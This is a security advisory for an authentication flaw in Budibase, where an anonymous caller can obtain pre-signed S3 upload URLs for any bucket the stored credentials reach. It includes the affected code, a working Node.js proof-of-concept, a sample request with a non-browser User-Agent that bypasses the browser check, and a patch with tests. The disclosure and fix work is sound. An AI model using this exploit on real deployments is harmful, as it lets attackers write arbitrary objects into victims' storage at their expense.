CVE-2026-50137

## Summary The Budibase server route `POST /api/attachments/:datasourceId/url` ([`packages/server/src/api/routes/static.ts`](https://github.com/Budibase/budibase/blob/56d2a984/packages/server/src/api/routes/static.ts)) is registered with **only** the `recaptcha` middleware. There is no `authorized(...)` middleware in the chain. The controller (`packages/server/src/api/controllers/static/index.ts::getSignedUploadURL`) looks the requested datasource up, instantiates an AWS S3 client with the datasource's stored `accessKeyId` / `secretAccessKey`, and returns an AWS Signature V4 pre-signed `PutObjectCommand` URL for the caller-supplied `bucket` and `key`. The `bucket` is not pinned to the datasource's configured bucket. The workspace context required by `sdk.datasources.get` is sourced by `getWorkspaceIdFromCtx` ([`packages/backend-core/src/utils/utils.ts`](https://github.com/Budibase/budibase/blob/56d2a984/packages/backend-core/src/utils/utils.ts)) from any of: the `x-budibase-app-id` header, the JSON body `appId`, a path segment that begins with the workspace prefix, or `?appId=`. `auth.buildAuthMiddleware([], { publicAllowed: true })` runs before any of this and explicitly allows anonymous requests. The `currentWorkspace` middleware's "deny access to dev preview" branch only triggers under `isBrowser(ctx) && !isApiKey(ctx)`; `isBrowser` checks the parsed `User-Agent` for a recognised browser, so any non-browser client (curl, the supplied PoC, any tool not setting a browser UA) is neither and reaches dev workspaces too. Net effect: an anonymous attacker who knows or can enumerate a workspace id (`app_...`) and an S3-source datasource id (`ds_...`) can call this endpoint with no auth and obtain a 15-minute pre-signed PUT URL minted on the victim's IAM identity. The endpoint also returns the `publicUrl` so the attacker knows exactly where their PUT lands. Because `bucket` is attacker-controlled, the attacker can write to any bucket those IAM credentials can write to, not only the bucket the datasource was configured for. ## Affected code [`packages/server/src/api/routes/static.ts`](https://github.com/Budibase/budibase/blob/56d2a984/packages/server/src/api/routes/static.ts) at HEAD `56d2a984` (`master`, 2026-05-18): ```ts import { permissions } from "@budibase/backend-core" import Router from "@koa/router" import { authorizedMiddleware as authorized } from "../../middleware/authorized" import recaptcha from "../../middleware/recaptcha" import { paramResource } from "../../middleware/resourceId" import * as controller from "../controllers/static" const { BUILDER, PermissionType, PermissionLevel } = permissions const router: Router = new Router() // ... router .post("/api/attachments/process", authorized(BUILDER), controller.uploadFile) .post("/api/pwa/process-zip", authorized(BUILDER), controller.processPWAZip) .post( "/api/attachments/:tableId/upload", recaptcha, paramResource("tableId"), authorized(PermissionType.TABLE, PermissionLevel.WRITE), controller.uploadFile ) // ... .post( "/api/attachments/:datasourceId/url", recaptcha, controller.getSignedUploadURL // <- no authorized(...) ) ``` Note the asymmetry: every other mutating endpoint on this router carries an `authorized(...)` middleware. The signed-URL endpoint does not. [`packages/server/src/api/controllers/static/index.ts:595-645`](https://github.com/Budibase/budibase/blob/56d2a984/packages/server/src/api/controllers/static/index.ts#L595-L645): ```ts export const getSignedUploadURL = async function (ctx) { let datasource try { const { datasourceId } = ctx.params datasource = await sdk.datasources.get(datasourceId, { enriched: true }) if (!datasource) { ctx.throw(400, "The specified datasource could not be found") } } catch (error) { ctx.throw(400, "The specified datasource could not be found") } let signedUrl, publicUrl const awsRegion = (datasource?.config?.region || "eu-west-1") as string if (datasource?.source === "S3") { const { bucket, key } = ctx.request.body || {} if (!bucket || !key) { ctx.throw(400, "bucket and key values are required") } try { let endpoint = datasource?.config?.endpoint if (endpoint && !utils.urlHasProtocol(endpoint)) { endpoint = `https://${endpoint}` } const s3 = new S3({ region: awsRegion, endpoint, credentials: { accessKeyId: datasource?.config?.accessKeyId as string, secretAccessKey: datasource?.config?.secretAccessKey as string, }, }) const params = { Bucket: bucket, Key: key } signedUrl = await getSignedUrl(s3, new PutObjectCommand(params)) if (endpoint) { publicUrl = `${endpoint}/${bucket}/${key}` } else { publicUrl = `https://${bucket}.s3.${awsRegion}.amazonaws.com/${key}` } } catch (error: any) { ctx.throw(400, error) } } ctx.body = { signedUrl, publicUrl } } ``` `sdk.datasources.get(datasourceId, { enriched: true })` ([`packages/server/src/sdk/workspace/datasources/datasources.ts`](https://github.com/Budibase/budibase/blob/56d2a984/packages/server/src/sdk/workspace/datasources/datasources.ts)) does the workspace DB read and **also** substitutes `{{ env.* }}` references in the config via `processObjectSync`, so even if the operator stored credentials as environment-variable references, those values are resolved before the S3 client is built. `recaptcha` ([`packages/server/src/middleware/recaptcha.ts`](https://github.com/Budibase/budibase/blob/56d2a984/packages/server/src/middleware/recaptcha.ts)) short-circuits to `next()` whenever the workspace either is not a production workspace or does not have `features.recaptchaEnabled = true` on its metadata. Neither is set by default. Even on workspaces with recaptcha enabled, builders carrying the `x-budibase-type: builder` header skip the check, but that branch is irrelevant here — the broader case is that an anonymous attacker simply chooses a non-prod workspace (which is the default for any in-development app) and the middleware no-ops. ## Reproduction Proof-of-concept Node.js script (no AWS SDK dependency, no external libraries): ```js #!/usr/bin/env node // PoC: Unauthenticated S3 signed-upload-URL minting in Budibase // usage: node poc.js <budibase-base-url> <app-id> <datasource-id> "use strict" const http = require("http") const https = require("https") const { URL } = require("url") function postJson(targetUrl, headers, body) { return new Promise((resolve, reject) => { const u = new URL(targetUrl) const lib = u.protocol === "https:" ? https : http const payload = Buffer.from(JSON.stringify(body), "utf8") const req = lib.request( { method: "POST", protocol: u.protocol, hostname: u.hostname, port: u.port || (u.protocol === "https:" ? 443 : 80), path: u.pathname + u.search, headers: Object.assign( { "Content-Type": "application/json", "Content-Length": payload.length, // Deliberately not a recognised browser UA so the // currentWorkspace dev-preview redirect does not fire. "User-Agent": "budibase-poc/1.0", }, headers || {} ), }, res => { const chunks = [] res.on("data", c => chunks.push(c)) res.on("end", () => resolve({ status: res.statusCode, body: Buffer.concat(chunks).toString("utf8"), }) ) } ) req.on("error", reject) req.write(payload) req.end() }) } async function main() { const [baseUrl, appId, datasourceId] = process.argv.slice(2) if (!baseUrl || !appId || !datasourceId) { console.error("usage: node poc.js <baseUrl> <appId> <datasourceId>") process.exit(2) } const bucket = process.env.POC_BUCKET || "attacker-chosen-bucket" const key = process.env.POC_KEY || `pwn/${Date.now()}.html` const url = baseUrl.replace(/\/$/, "") + `/api/attachments/${encodeURIComponent(datasourceId)}/url` const resp = await postJson( url, { "x-budibase-app-id": appId }, { bucket, key } ) console.log(`HTTP ${resp.status}`) console.log(resp.body) } main().catch(err => { console.error(err) process.exit(1) }) ``` Wire-level request: ``` POST /api/attachments/ds_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx/url HTTP/1.1 Host: budibase.example:10000 x-budibase-app-id: app_dev_yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy Content-Type: application/json User-Agent: budibase-poc/1.0 Content-Length: 36 {"bucket":"victim-bucket","key":"x.html"} ``` Response: ``` HTTP/1.1 200 OK Content-Type: application/json { "signedUrl": "https://victim-bucket.s3.eu-west-1.amazonaws.com/x.html?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIA...%2F20260519%2Feu-west-1%2Fs3%2Faws4_request&X-Amz-Date=20260519T120000Z&X-Amz-Expires=900&X-Amz-Signature=...&X-Amz-SignedHeaders=host&x-id=PutObject", "publicUrl": "https://victim-bucket.s3.eu-west-1.amazonaws.com/x.html" } ``` The attacker then PUTs arbitrary bytes to `signedUrl` and they land at `publicUrl`, signed by — and IAM-scoped to — the victim's stored S3 credentials. The existing test that exercises the endpoint, [`packages/server/src/api/routes/tests/static.spec.ts:123-146`](https://github.com/Budibase/budibase/blob/56d2a984/packages/server/src/api/routes/tests/static.spec.ts#L123-L146), sends the same request with `config.defaultHeaders()` (a builder auth cookie). That confirms the request shape; no negative-auth test (`.set({})` or `publicHeaders()`) exists for this route, which is how the missing `authorized(...)` slipped past code review. ## Impact - **Confidentiality / Integrity**: any anonymous internet user can write arbitrary objects to any bucket the configured IAM credentials can write to. The `bucket` parameter is attacker-controlled, so the blast radius is the full IAM policy attached to the credential, not just the bucket the operator wired into the datasource. Typical realistic outcomes: planting HTML/JS that the bucket serves at a known path (the response gives back `publicUrl`), overwriting an existing key the application later reads back as trusted data, racking up S3 storage / PUT cost. - **Availability**: storage / cost exhaustion. Repeated PUTs of large objects to attacker-chosen keys cost the victim. - **Authorization scope leak**: the endpoint discloses (a) whether a given `datasourceId` exists and is S3-typed (200 vs 400 'not found'), and (b) the resolved `publicUrl` which includes the region. No MFA / OAuth / per-user check exists between the request and the issued pre-signed URL. The credentials are not returned in plaintext, but the pre-signed URL is functionally equivalent to a 15-minute capability to PUT to the chosen `bucket`/`key`. ## Suggested fix Attach `authorized(PermissionType.TABLE, PermissionLevel.WRITE)` (or a higher gate, e.g. `BUILDER`, depending on intended audience) to the route, mirroring the sibling `/api/attachments/:tableId/upload` registration. Additionally, validate that the requested `bucket` matches `datasource.config.bucket` so the IAM blast radius is reduced to the configured bucket only. Minimal patch shape: ```ts .post( "/api/attachments/:datasourceId/url", recaptcha, paramResource("datasourceId"), authorized(PermissionType.TABLE, PermissionLevel.WRITE), controller.getSignedUploadURL ) ``` And in the controller, before calling `getSignedUrl`: ```ts const configuredBucket = datasource?.config?.bucket if (configuredBucket && bucket !== configuredBucket) { ctx.throw(400, "bucket does not match configured datasource bucket") } ``` ## Credit Reported by `tonghuaroot` (`tonghuaroot@gmail.com`). ## Fix PR A candidate fix has been prepared on the temporary private fork that was created from this advisory: - PR: https://github.com/Budibase/budibase-ghsa-35c4-rvc8-frhm/pull/1 - Branch: `fix/attachment-url-auth-and-bucket-pin` - Commit: `Require builder auth and pin bucket on POST /api/attachments/:datasourceId/url` The patch is the canonical two-part fix: 1. Attach `authorized(BUILDER)` to `POST /api/attachments/:datasourceId/url` on [`packages/server/src/api/routes/static.ts`](https://github.com/Budibase/budibase/blob/56d2a984/packages/server/src/api/routes/static.ts), mirroring the surrounding `POST /api/attachments/process` and `POST /api/pwa/process-zip` registrations. Anonymous callers now receive 401 regardless of whether the `recaptcha` middleware fails open. 2. Pin `Bucket` to `datasource.config.bucket` inside `getSignedUploadURL` ([`packages/server/src/api/controllers/static/index.ts`](https://github.com/Budibase/budibase/blob/56d2a984/packages/server/src/api/controllers/static/index.ts)) and ignore any `bucket` value supplied in the request body. If the datasource has no bucket configured, the route now returns 400 instead of issuing an unbounded pre-signed URL. Two regression tests are added in [`packages/server/src/api/routes/tests/static.spec.ts`](https://github.com/Budibase/budibase/blob/56d2a984/packages/server/src/api/routes/tests/static.spec.ts): - `should reject unauthenticated callers` (anonymous request with `config.publicHeaders()` now returns 401, was 200 before). - `should ignore a client-supplied bucket and pin to the datasource's configured bucket` (authenticated request with body `{ bucket: "other-bucket", key: "bar" }` returns a signed URL bound to `foo.s3.eu-west-1.amazonaws.com/bar`, not `other-bucket`). Test run on the patch (Jest, `packages/server`): ``` PASS src/api/routes/tests/static.spec.ts /static /attachments generateSignedUrls v should be able to generate a signed upload URL v should reject unauthenticated callers v should ignore a client-supplied bucket and pin to the datasource's configured bucket v should reject when the datasource has no configured bucket v should handle an invalid datasource ID v should require a key parameter ```